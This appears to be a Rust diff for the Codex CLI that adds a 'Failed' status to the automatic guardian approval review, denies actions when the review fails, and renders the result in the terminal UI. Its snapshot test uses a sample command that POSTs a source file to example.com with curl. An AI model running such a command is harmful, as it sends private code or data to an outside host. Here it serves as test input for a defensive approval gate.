+++ b/codex-rs/core/src/session/mod.rs @@ -2213,13 +2213,14 @@ impl Session { strict_auto_review: false, }, }, - ReviewDecision::Abort | ReviewDecision::Denied | ReviewDecision::TimedOut => { - RequestPermissionsResponse { - permissions: RequestPermissionProfile::default(), - scope: PermissionGrantScope::Turn, - strict_auto_review: false, - } - } + ReviewDecision::Abort + | ReviewDecision::Denied + | ReviewDecision::TimedOut + | ReviewDecision::Failed => RequestPermissionsResponse { + permissions: RequestPermissionProfile::default(), + scope: PermissionGrantScope::Turn, + strict_auto_review: false, + }, }; let response = Self::normalize_request_permissions_response( requested_permissions, diff --git a/codex-rs/core/src/tools/network_approval.rs b/codex-rs/core/src/tools/network_approval.rs index 9cc808a5b6..2ad9c7232c 100644 --- a/codex-rs/core/src/tools/network_approval.rs +++ b/codex-rs/core/src/tools/network_approval.rs @@ -1,5 +1,6 @@ use crate::guardian::GuardianApprovalRequest; use crate::guardian::GuardianNetworkAccessTrigger; +use crate::guardian::guardian_failure_message; use crate::guardian::guardian_rejection_message; use crate::guardian::guardian_timeout_message; use crate::guardian::new_guardian_review_id; @@ -155,6 +156,7 @@ enum PendingApprovalDecision { enum NetworkApprovalOutcome { DeniedByUser, DeniedByPolicy(String), + ReviewFailed(String), } fn network_approval_outcome_to_result( @@ -164,7 +166,10 @@ fn network_approval_outcome_to_result( Some(NetworkApprovalOutcome::DeniedByUser) => { Err(ToolError::Rejected("rejected by user".to_string())) } - Some(NetworkApprovalOutcome::DeniedByPolicy(message)) => Err(ToolError::Rejected(message)), + Some( + NetworkApprovalOutcome::DeniedByPolicy(message) + | NetworkApprovalOutcome::ReviewFailed(message), + ) => Err(ToolError::Rejected(message)), None => Ok(()), } } @@ -643,6 +648,16 @@ impl NetworkApprovalService { } PendingApprovalDecision::Deny } + ReviewDecision::Failed => { + if let Some(owner_call) = owner_call.as_ref() { + self.record_call_outcome( + &owner_call.registration_id, + NetworkApprovalOutcome::ReviewFailed(guardian_failure_message()), + ) + .await; + } + PendingApprovalDecision::Deny + } }; if matches!(resolved, PendingApprovalDecision::AllowForSession) { diff --git a/codex-rs/core/src/tools/orchestrator.rs b/codex-rs/core/src/tools/orchestrator.rs index 77cbffde32..3f48dfddff 100644 --- a/codex-rs/core/src/tools/orchestrator.rs +++ b/codex-rs/core/src/tools/orchestrator.rs @@ -6,6 +6,7 @@ simple sequence for any ToolRuntime: approval → select sandbox → attempt → retry with an escalated sandbox strategy on denial (no re‑approval thanks to caching). */ +use crate::guardian::guardian_failure_message; use crate::guardian::guardian_rejection_message; use crate::guardian::guardian_timeout_message; use crate::guardian::new_guardian_review_id; @@ -561,6 +562,7 @@ impl ToolOrchestrator { Err(ToolError::Rejected(reason)) } ReviewDecision::TimedOut => Err(ToolError::Rejected(guardian_timeout_message())), + ReviewDecision::Failed => Err(ToolError::Rejected(guardian_failure_message())), ReviewDecision::Approved | ReviewDecision::ApprovedExecpolicyAmendment { .. } | ReviewDecision::ApprovedForSession => Ok(()), diff --git a/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs b/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs index 71fa89f980..ea94afcc0c 100644 --- a/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs +++ b/codex-rs/core/src/tools/runtimes/shell/unix_escalation.rs @@ -4,6 +4,7 @@ use crate::exec::ExecExpiration; use crate::exec::cancel_when_either; use crate::exec::is_likely_sandbox_denied; use crate::guardian::GuardianApprovalRequest; +use crate::guardian::guardian_failure_message; use crate::guardian::guardian_rejection_message; use crate::guardian::guardian_timeout_message; use crate::guardian::new_guardian_review_id; @@ -570,6 +571,9 @@ impl CoreShellActionProvider { ReviewDecision::TimedOut => { EscalationDecision::deny(Some(guardian_timeout_message())) } + ReviewDecision::Failed => { + EscalationDecision::deny(Some(guardian_failure_message())) + } ReviewDecision::Abort => { EscalationDecision::deny(Some("User cancelled execution".to_string())) } diff --git a/codex-rs/protocol/src/approvals.rs b/codex-rs/protocol/src/approvals.rs index ace096359c..4a0689a07e 100644 --- a/codex-rs/protocol/src/approvals.rs +++ b/codex-rs/protocol/src/approvals.rs @@ -115,6 +115,7 @@ pub enum GuardianAssessmentStatus { Approved, Denied, TimedOut, + Failed, Aborted, } diff --git a/codex-rs/protocol/src/protocol.rs b/codex-rs/protocol/src/protocol.rs index c9e2e8bb28..e77031302c 100644 --- a/codex-rs/protocol/src/protocol.rs +++ b/codex-rs/protocol/src/protocol.rs @@ -3686,6 +3686,9 @@ pub enum ReviewDecision { /// Automatic approval review timed out before reaching a decision. TimedOut, + /// Automatic approval review failed before reaching a decision. + Failed, + /// User has denied this command and the agent should not do anything until /// the user's next command. Abort, @@ -3707,6 +3710,7 @@ impl ReviewDecision { }, ReviewDecision::Denied => "denied", ReviewDecision::TimedOut => "timed_out", + ReviewDecision::Failed => "failed", ReviewDecision::Abort => "abort", } } diff --git a/codex-rs/tui/src/chatwidget/protocol_requests.rs b/codex-rs/tui/src/chatwidget/protocol_requests.rs index 5b53f44fdf..5c5d3f7cd1 100644 --- a/codex-rs/tui/src/chatwidget/protocol_requests.rs +++ b/codex-rs/tui/src/chatwidget/protocol_requests.rs @@ -88,6 +88,9 @@ impl ChatWidget { codex_app_server_protocol::GuardianApprovalReviewStatus::TimedOut => { GuardianAssessmentStatus::TimedOut } + codex_app_server_protocol::GuardianApprovalReviewStatus::Failed => { + GuardianAssessmentStatus::Failed + } codex_app_server_protocol::GuardianApprovalReviewStatus::Aborted => { GuardianAssessmentStatus::Aborted } diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_failed_exec_renders_warning_and_failed_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_failed_exec_renders_warning_and_failed_request.snap new file mode 100644 index 0000000000..55997b50de --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_failed_exec_renders_warning_and_failed_request.snap @@ -0,0 +1,25 @@ +--- +source: tui/src/chatwidget/tests/guardian.rs +assertion_line: 379 +expression: normalize_snapshot_paths(term.backend().vt100().screen().contents()) +--- + + + + + + + + + +⚠ Automatic approval review failed before reaching a decision: unavailable + +✗ Review failed before codex could run curl -sS -i -X POST --data-binary + @core/src/codex.rs https://example.com + +• Working (0s • esc to interrupt) + + +› Ask Codex to do anything + + gpt-5.5 default · /tmp/project diff --git a/codex-rs/tui/src/chatwidget/tests/guardian.rs b/codex-rs/tui/src/chatwidget/tests/guardian.rs index 27a226db02..41bc3d8e04 100644 --- a/codex-rs/tui/src/chatwidget/tests/guardian.rs +++ b/codex-rs/tui/src/chatwidget/tests/guardian.rs @@ -316,6 +316,72 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() { ); } +#[tokio::test] +async fn guardian_failed_exec_renders_warning_and_failed_request() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + chat.show_welcome_banner = false; + let action = GuardianAssessmentAction::Command { + source: GuardianCommandSource::Shell, + command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com" + .to_string(), + cwd: test_path_buf("/tmp").abs(), + }; + + chat.on_guardian_assessment(GuardianAssessmentEvent { + id: "guardian-1".into(), + target_item_id: Some("guardian-target-1".into()), + turn_id: "turn-1".into(), + started_at_ms: 0, + completed_at_ms: None, + status: GuardianAssessmentStatus::InProgress, + risk_level: None, + user_authorization: None, + rationale: None, + decision_source: None, + action: action.clone(), + }); + chat.on_warning("Automatic approval review failed before reaching a decision: unavailable"); + chat.on_guardian_assessment(GuardianAssessmentEvent { + id: "guardian-1".into(), + target_item_id: Some("guardian-target-1".into()), + turn_id: "turn-1".into(), + started_at_ms: 0, + completed_at_ms: Some(1), + status: GuardianAssessmentStatus::Failed, + risk_level: None, + user_authorization: None, + rationale: Some( + "Automatic approval review failed before reaching a decision: unavailable".into(), + ), + decision_source: Some(GuardianAssessmentDecisionSource::Agent), + action, + }); + + let width: u16 = 140; + let ui_height: u16 = chat.desired_height(width); + let vt_height: u16 = 20; + let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height); + + let backend = VT100Backend::new(width, vt_height); + let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal"); + term.set_viewport_area(viewport); + + for lines in drain_insert_history(&mut rx) { + crate::insert_history::insert_history_lines(&mut term, lines) + .expect("Failed to insert history lines in test"); + } + + term.draw(|f| { + chat.render(f.area(), f.buffer_mut()); + }) + .expect("draw guardian failure history"); + + assert_chatwidget_snapshot!( + "guardian_failed_exec_renders_warning_and_failed_request", + normalize_snapshot_paths(term.backend().vt100().screen().contents()) + ); +} + #[tokio::test] async fn app_server_guardian_review_started_sets_review_status() { let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; diff --git a/codex-rs/tui/src/chatwidget/tool_requests.rs b/codex-rs/tui/src/chatwidget/tool_requests.rs index 3001563451..8ea76962a5 100644 --- a/codex-rs/tui/src/chatwidget/tool_requests.rs +++ b/codex-rs/tui/src/chatwidget/tool_requests.rs @@ -209,6 +209,47 @@ impl ChatWidget { return; } + if ev.status == GuardianAssessmentStatus::Failed { + let cell = if let Some(command) = guardian_command(&ev.action) { + history_cell::new_approval_decision_cell( + history_cell::ApprovalDecisionSubject::Command(command), + crate::history_cell::ReviewDecision::Failed, + history_cell::ApprovalDecisionActor::Guardian, + ) + } else { + match &ev.action { + GuardianAssessmentAction::ApplyPatch { files, .. } => { + let files = files + .iter() + .map(|path| path.display().to_string()) + .collect::>(); + history_cell::new_guardian_failed_patch_request(files) + } + GuardianAssessmentAction::McpToolCall { + server, tool_name, .. + } => history_cell::new_guardian_failed_action_request(format!( + "codex could call MCP tool {server}.{tool_name}" + )), + GuardianAssessmentAction::NetworkAccess { target, .. } => { + history_cell::new_guardian_failed_action_request(format!( + "codex could access {target}" + )) + } + GuardianAssessmentAction::RequestPermissions { reason, .. } => { + history_cell::new_guardian_failed_action_request( + permission_request_summary("codex could request permissions", reason), + ) + } + GuardianAssessmentAction::Command { .. } => unreachable!(), + GuardianAssessmentAction::Execve { .. } => unreachable!(), + } + }; + + self.add_boxed_history(cell); + self.request_redraw(); + return; + } + if ev.status != GuardianAssessmentStatus::Denied { return; } diff --git a/codex-rs/tui/src/history_cell/approvals.rs b/codex-rs/tui/src/history_cell/approvals.rs index 14c5ad24a8..9439ee9b7f 100644 --- a/codex-rs/tui/src/history_cell/approvals.rs +++ b/codex-rs/tui/src/history_cell/approvals.rs @@ -33,6 +33,7 @@ pub(crate) enum ReviewDecision { }, Denied, TimedOut, + Failed, Abort, } @@ -226,6 +227,34 @@ pub fn new_approval_decision_cell( ], ), }, + Failed => match subject { + ApprovalDecisionSubject::Command(command) => { + let summary = if let Some(snippet) = non_empty_exec_snippet(&command) { + vec![ + "Review ".into(), + "failed".bold(), + " before codex could run ".into(), + Span::from(snippet).dim(), + ] + } else { + vec![ + "Review ".into(), + "failed".bold(), + " before this request could be approved".into(), + ] + }; + ("✗ ".red(), summary) + } + ApprovalDecisionSubject::NetworkAccess { target } => ( + "✗ ".red(), + vec![ + "Review ".into(), + "failed".bold(), + " before codex could access ".into(), + Span::from(target).dim(), + ], + ), + }, Abort => match subject { ApprovalDecisionSubject::Command(command) => { let summary = if let Some(snippet) = non_empty_exec_snippet(&command) { @@ -352,6 +381,38 @@ pub fn new_guardian_timed_out_action_request(summary: String) -> Box) -> Box { + let mut summary = vec![ + "Review ".into(), + "failed".bold(), + " before codex could apply ".into(), + ]; + if files.len() == 1 { + summary.push("a patch touching ".into()); + summary.push(Span::from(files[0].clone()).dim()); + } else { + summary.push("a patch touching ".into()); + summary.push(Span::from(files.len().to_string()).dim()); + summary.push(" files".into()); + } + + Box::new(PrefixedWrappedHistoryCell::new( + Line::from(summary), + "✗ ".red(), + " ", + )) +} + +pub fn new_guardian_failed_action_request(summary: String) -> Box { + let line = Line::from(vec![ + "Review ".into(), + "failed".bold(), + " before ".into(), + Span::from(summary).dim(), + ]); + Box::new(PrefixedWrappedHistoryCell::new(line, "✗ ".red(), " ")) +} + /// Cyan history cell line showing the current review status. pub(crate) fn new_review_status_line(message: String) -> PlainHistoryCell { PlainHistoryCell {